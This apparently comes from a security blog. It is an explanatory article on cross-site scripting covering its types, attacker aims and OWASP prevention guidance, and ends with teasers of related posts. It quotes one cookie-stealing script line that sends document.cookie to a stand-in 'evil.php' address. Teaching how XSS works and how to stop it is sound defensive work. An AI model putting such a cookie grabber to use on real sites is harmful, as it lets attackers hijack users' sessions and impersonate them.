The announcement of the vulnerability from the Software Engineering Institute in 2000 includes this warning: “Web Users Should Not Engage in Promiscuous Browsing”. Right. You never know what you could pick up with such behavior. But it’s not just shady websites that could be harboring malicious XSS-type coding. A May 2008 article explains how Facebook was hit by an XSS attack. Facebook may be “committed to user safety and security”, but XSS hackers are a pretty determined bunch themselves.
Code that is injected into normal sites can contain commands that do anything from stealing cookies to changing the appearing of the page — or worse. Unless web developers take steps to prevent these attacks — by sanitizing code, whitelisting input, and so on — they risk exposing their users to a broad array of cross-site scripting exploits.
Users visiting a trusted website might think nothing of inputting important data into forms and fields. They might even be confident enough to provide important financial information. But if an XSS hacker has taken over that page in some way, users could be giving away the farm to someone who is harvesting their data unscrupulously. The hacker can even impersonate a user through cross-site scripting.
Smart criminals have their ways. Clever hackers may know enough to pierce through whatever security measures developers have created. Programmers have to get it right every time, but it only takes one key vulnerability for a hacker to be successful. Over time, the hacking community hones their skills. The website Acunetix gives a good run-down of the various types of XSS. We’re also grateful for work on the subject by the Open Web Application Security Project (OWASP).
As the name indicates, with this XSS type hackers are able to lodge the script on the web server. For this reason, this exploit is also called persistent XSS. The user is attacked when accessing the page because the malicious code is stored in the server’s database, message forum, comment section, or some other location. This type can be very damaging.
The most basic form of cross-site scripting is called reflected XSS. It is also known as non-persistent XSS. The way this works is that the hacker injects script in such a way that the server bounces an attack back. This type of hack often uses emails or social media. Let’s borrow an explanation from OWASP: “When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser.”
DOM stands for Document Object Model. DOM is an application programming interface (API) that handles HTML, XHTML, and XML documents. Amit Klein exposed this vulnerability in a 2005 article for the Web Application Security Consortium in an article called “DOM Based Cross Site Scripting or XSS of the Third Kind”. Klein gives an introduction and examples and suggests ways to prevent the exploit.
While most experts refer to these three divisions as the main XSS “types”, OWASP presents an objection to this classification: “For years, most people thought of these (Stored, Reflected, DOM) as three different types of XSS, but in reality, they overlap.” So maybe this approach will become deprecated. Instead, OWASP suggests recognizing two types: server XSS and client XSS. We won’t quibble over the distinctions in this article. The reader can explore the matter further on his own.
So what is the XSS hacker trying to accomplish? Let’s have a look at a few of the potential objectives. One goal is to impersonate another user. The way to do that is to steal the user’s cookies. The greedy hacker becomes the cookie monster, and with the right cookies he can access a website as if he were someone else. If you want to see an cartoon explanation of the cookie-stealing ploy and other exploits, have a look at this video from VirtualForge. OWASP provides an example of a cookie grabber script:
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
Another thing the XSS hacker is after is information. Credit card numbers, bank account information — whatever he can get his hands on. Using phishing email and reflective XSS, he can harvest a good bit of data by getting people to click on links. That’s why experts tell you not to click on a link in an email unless it’s from a trusted source. You never know what could happen. You only have to look as far as the 2016 presidential election to see how bad it can get. (Just google “john podesta phishing”.)
The hacker can also change the view on the browser window. In fact, with the right script on an unprotected server, an XSS hacker can do just about anything. He could even overlay a bank’s web page with forms of his own to collect banking information. He can do pranks on his friends by adding text or images to websites. The hacker’s exploits — if not limited by web security — are as unlimited as his imagination.
The problem seems to be the special characters. I have used the letter “t” many times in this text, and it helps communicate my message. But computers distinguish between characters used in text (meant for humans) and those which have special meaning in programming languages. An escape character changes the way a computer interprets the characters that follow it.
|\n||Line feed (new line)|
The reason this knowledge is important to XSS prevention is that hackers inject special characters to hijack web pages. Special characters, you see, are the stuff of computer programs. If the computer is fed malicious code from an untrusted source, it could very well read it, run it and pass on the results to another user. That’s the essence of XSS.
The solution to cross-site scripting is to clean things up. Developers need to “sanitize” their code so that it won’t allow special characters from any John Doe who wants to sabotage their work.
The solution to cross-site scripting is to clean things up. Developers need to “sanitize” their code so that it won’t allow special characters from any John Doe who wants to sabotage their work. Now, the way they clean up their code is probably a bit more involved that we should try to cover here. Much of it is about “escaping” special characters. And sometime you have to “escape” the “escaping”.
OWASP does a good job of getting into the details in their “XSS (Cross Site Scripting) Prevention Cheat Sheet”. Just to give you an idea, let’s have a look at their list of XSS Prevention Rules:
OWASP calls their treatment of cross-site scripting “a positive XSS prevention model” They write: “This article treats an HTML page like a template, with slots where a developer is allowed to put untrusted data…. Putting untrusted data in other places in the HTML is not allowed,” They call this a “whitelist” model that denies everything that is not specifically allowed.
We’ll let OWASP have the last word on prevention: “The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output.”
There is no magic potion for web application security. Waving a wand or thinking positive thoughts won’t make cyber criminals go away. It will take a bit of homework to set up your defenses properly. OWASP is a good place to start. When you have mastered OWASP’s 7+ XSS Prevention Rules, you’ll probably be pretty good at keeping out the XSS bad guys from your website. It may take you a little time, however. In the meanwhile, you might want to advise your people to be careful when opening emails. And watch out for that “promiscuous” browsing.
If you’re interested in learning more about cross-site scripting, you might want to look at a tutorial series on cross-site scripting starting with this video on YouTube. Another helpful explanation comes from Computerphile Tom Scott. A third suggested XSS tutorial video comes from OWASP.
If you’re worried about computer hackers, you should be worried about SQL injection (SQLi). It keeps showing up on the top ten list of the Open Web Application Security Project (OWASP). In 2013, the year of their latest approved list, OWASP put injection at the top of the list. “Injection flaws such as SQL, OS, […]
Everybody loves cookies. They’re hard to resist — sweet and delicious. So why is something as flavorless as a computer cookie blessed with the same name? You can blame Lou Monulli. He created the technology for Netscape Communications and received a patent for it in 1998. In the beginning, nobody knew that cookies were being […]
When you go to a store to look around, the clerk may ask if they can help you. No, you’re just browsing, you say. You’re not necessarily in search of anything in particular. We do the same thing online. Web browsing is a way to satisfy our curiosity, to delve into areas that interest us, […]
Your plaintext internet traffic is subject to attack. You already knew this. And it probably won’t surprise you to learn that your encrypted internet traffic is also vulnerable. It’s an unfortunate situation. Carl Herberger, Radware’s VP for Security Solutions, says that the prospect of SSL-based attacks “makes a folly of our existing security infrastructure”. The […]